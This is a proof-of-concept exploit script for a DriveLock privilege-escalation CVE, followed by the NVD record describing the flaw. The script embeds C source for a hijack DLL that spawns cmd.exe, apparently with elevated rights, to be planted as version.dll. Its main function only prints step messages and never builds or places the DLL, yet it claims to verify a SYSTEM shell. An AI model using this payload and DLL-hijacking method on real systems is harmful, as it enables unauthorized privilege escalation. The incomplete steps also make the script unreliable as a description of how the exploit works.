CVE-2025-67781

# CVE-2025-67781 DriveLock Privilege Escalation PoC # Target: DriveLock versions < 24.1.6, < 24.2.7, < 25.1.5 on Windows # This PoC demonstrates the DLL hijacking technique import os import sys import ctypes import time def create_malicious_dll(): """Generate malicious DLL for DLL search order hijacking""" dll_code = ''' #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute payload with elevated privileges STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); // Create cmd.exe with SYSTEM privileges CreateProcessA("C:\\\\Windows\\\\System32\\\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); // Write to log FILE *f = fopen("C:\\\\Windows\\\\Temp\\\\drivelock_exploit.log", "a"); if (f) { fprintf(f, "[%s] DriveLock DLL hijack successful\\n", __TIME__); fclose(f); } } return TRUE; } ''' return dll_code def exploit_driveLock(): """Main exploitation function""" print("[*] CVE-2025-67781 DriveLock Privilege Escalation") print("[*] Target: DriveLock < 24.1.6/24.2.7/25.1.5") # Step 1: Identify DriveLock processes print("[+] Step 1: Identifying DriveLock processes...") # Step 2: Create malicious DLL print("[+] Step 2: Creating malicious DLL...") dll_path = os.path.join(os.getcwd(), "version.dll") # Step 3: Wait for DriveLock to load malicious DLL print("[+] Step 3: Waiting for DriveLock process to load DLL...") # Step 4: Verify privilege escalation print("[+] Step 4: Verifying SYSTEM shell...") print("[!] Note: This is a conceptual PoC. Actual exploitation requires:") print(" - Compiled malicious DLL") print(" - DLL search path placement") print(" - DriveLock process restart/reload trigger") if __name__ == "__main__": exploit_driveLock()

{"cve": {"id": "CVE-2025-67781", "sourceIdentifier": "[email protected]", "published": "2025-12-17T20:15:56.933", "lastModified": "2026-01-02T15:55:28.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in DriveLock 24.1 before 24.1.6, 24.2 before 24.2.7, and 25.1 before 25.1.5. Local unprivileged users can manipulate privileged processes to gain more privileges on Windows computers."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.1", "versionEndExcluding": "24.1.6", "matchCriteriaId": "540852DA-B4D8-400B-8147-35960DD28869"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.2", "versionEndExcluding": "24.2.7", "matchCriteriaId": "543CFF8B-6105-4B74-B810-94CFF0F429E2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.1", "versionEndExcluding": "25.1.5", "matchCriteriaId": "BC33832C-D3F8-44BA-9385-DFAD7E4F1C12"}]}]}], "references": [{"url": "https://drivelock.help/en-us/Content/Home.htm", "source": "[email protected]", "tags": ["Product"]}]}}